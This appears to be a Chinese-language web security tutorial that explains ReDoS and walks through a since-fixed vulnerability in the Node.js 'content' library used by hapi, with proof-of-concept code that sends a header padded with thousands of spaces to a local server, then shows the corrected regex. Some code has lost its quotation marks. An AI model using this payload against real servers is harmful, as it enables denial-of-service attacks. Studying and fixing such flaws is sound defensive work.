基於正則表達式的 DDoS 及實例講解

在之前的文章中,我們講解過基於hash的 DoS 攻擊。這篇文章中,我們將帶來基於正則表達式類型的(Regular Expression)拒絕服務攻擊的講解。最後,我們用 hapi 框架的一個漏洞作為實例解析。

什麼是 ReDoS?

當一個正則表達式包含了冗餘的匹配,那麼它就極有可能引發 ReDoS(即:基於正則表達式的拒絕服務攻擊)。由於過多的匹配,正則引擎的匹配速度會飛速下滑。就拿 (a+)+ 來說,當我們輸入 aa 時,正則引擎會匹配成 (a)(a) 或者 (aa)。如果我們輸入了 aaa,正則引擎就會查詢(aaa)(aa)(a)(a)(aa),甚至是 (a)(a)(a)。很明顯,我們每多輸入一個字母 a,匹配的數量就要乘以2。不過有一點需要注意,我們最終傳遞進去的字元最終需要被匹配失敗 ,否則短路效應會直接結束匹配並返回結果,反之則會一直枚舉可能的情況。

尋找問題

有了基本知識,讓我們來實際操作一下。一個正則表達式如下(最新版本已被修復):

/([^=*]+)(*)?s*=s*(?:([^;]+[w-]*[^;s]+)|(?:"([^"]*)")|([^;s]*))(?:(?:s*;s*)|(?:s*$))/g

看上去很棘手,不過只要問題的核心是冗餘的表達式,我們就一定能發現漏洞。我們從頭開始,第一個可疑處是 s*(?:([^;]+[w-]*[^;s]+)(排除多餘的部分後,我們可以簡化其為 s*[^;]+)。用自然語言來描述,大概意思就是找到跟隨任意數量空格的非冒號或單引號的一個或多個字元。

在這個 repo 中,我們可以得知這個表達式是 content 庫用來解析 Content-Dposistion 頭中的參數。一個合法的 Content-Dposistion 看上去像:

Content-Disposition:form-data; name="content";filename="hello.txt"。為了確認這一點,我們來用這個模塊解析一下:

use strict;const Content = require(content);const header = form-data; name="content"; filename="hello.txt";console.time(parse);console.log(Content.disposition(header));console.timeEnd(parse);

如果你安裝了 content@3.0.5 或之前的版本,你會得到這個:

{ name: content, filename: hello.txt }parse: 6.200ms

我們已知可以利用空格,並且構造的payload必須被匹配失敗,那麼應該如何寫出PoC呢?答案很簡單,先傳入非空格字元,再在後面附加上儘可能多的空格。我們來做個500字的測試:

use strict;constContent = require(content);constheader = form-data; x + new Array(500).join( );console.time(parse);console.log(Content.disposition(header));console.timeEnd(parse);

這是輸出:

{Error: Invalid content-disposition header format includes invalid parameters /*snip */ }parse:47.440ms

解析速度比原來慢了接近8倍,但總的來說還不算嚴重。當空格為1000時,解析則花了292ms,當我們再加多1000個空格後,解析器花了2387ms 執行。問題很明顯了,不過我們依然不清楚它會有多嚴重的影響。

利用content攻擊hapi

Content-Disposition 一般用來告訴客戶端響應主體是內聯的還是一個附件,有時也用來提供關於multipart form(多重表單)的元數據信息。由於第一個(用途)往往為伺服器發出,我們就需要找出使用該框架解析 Content-Disposition 的客戶端,而這十分罕見,所以我們不做討論。不過第二種情況則屢見不鮮,讓我們一起研究一下。

由於hapi使用content,我們就可以用它攻擊hapi伺服器。首先,我們得模擬接收表單(復現需要hapi@16.5.2及以下的版本):

use strict;constHapi = require(hapi);constserver = new Hapi.Server();server.connection({port: 8080 });server.route({method: post,path: /,handler: function (request, reply) {return reply();}});server.start(()=> {console.log(started);});

現在我們可以開始構造PoC了:

use strict;constWreck = require(wreck);constpayload = [--123456,content-disposition: form-data; x + newArray(2000).join( ),content-type: text/plain,,text,--123456,content-disposition: form-data;name="field2",content-type: text/plain,,text,--123456--].join(
);console.time(req);Wreck.post(http://localhost:8080,{ headers: { content-type: multipart/form-data; boundary=123456,content-length: Buffer.byteLength(payload) }, payload }, (err, res, body)=> {console.timeEnd(req);});

這一段代碼跑了 46ms。似乎沒有想像中這麼慢,讓我們看看哪裡出來問題。翻了一段又一段的執行鏈,我們發現 hapi 使用 subtext 中的 pez 解析payload。pez 會截斷一個 header 的結束與另一個 header 的開頭之間額外的空格,所以我們需要在空格結尾添加一個字元(用來表示該 header 還沒結束)防止空格被移除:

const payload = [--123456,content-disposition: form-data; x + newArray(2000).join( ) + x,content-type: text/plain,,text,--123456,content-disposition: form-data;name="field2",content-type: text/plain,,text,--123456--].join(
);

這個 PoC 則執行了2000多ms,大功告成了!不過我們應該如何修復呢?

正確的解析方式

前一個式子是因為空格的冗餘匹配而導致的,因此,我們只需要在匹配字元時將空格也納入黑名單即可:s*[^;s]+,我們先來試試這種簡單粗暴的改法:

/([^=*]+)(*)?s*=s*(?:([^;s]+[w-]*[^;s]+)|(?:"([^"]*)")|([^;s]*))(?:(?:s*;s*)|(?:s*$))/g

再運行一次 PoC,結果還是跑了兩千多毫秒。

在該表達式開頭處,你會看到 [^=*]+s*。因此,我們還需修正此處:

/([^=*s]+)(*)?s*=s*(?:([^;s]+[w-]*[^;s]+)|(?:"([^"]*)")|([^;s]*))(?:(?:s*;s*)|(?:s*$))/g

現在,執行一次 PoC 僅需六十多毫秒,終於大功告成了!


推薦閱讀:

安全測試怎麼入門?
web安全怎樣有實踐經驗?
Web 安全是建立在內核等技術的基礎上的,所以 Web 安全相對低級?

TAG:信息安全 | XSS | Web安全测试 |